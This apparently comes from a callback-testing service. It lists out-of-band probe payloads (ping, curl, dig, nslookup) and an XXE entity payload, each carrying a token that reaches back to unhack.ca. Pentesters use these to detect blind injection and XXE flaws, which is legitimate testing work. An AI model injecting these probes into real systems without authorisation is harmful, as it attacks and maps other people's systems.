$ ping -c1 -p 0062e22036febfff95d0e8f7d330ef00 unhack.ca
 

$ curl http://unhack.ca/p/62e22036febfff95d0e8f7d330ef
 

$ dig 62e22036febfff95d0e8f7d330ef @unhack.ca
 

$ dig 62e22036febfff95d0e8f7d330ef.ns.unhack.ca
 

C:\> nslookup 62e22036febfff95d0e8f7d330ef unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/62e22036febfff95d0e8f7d330ef">]>
    <foo>&xxe;</foo>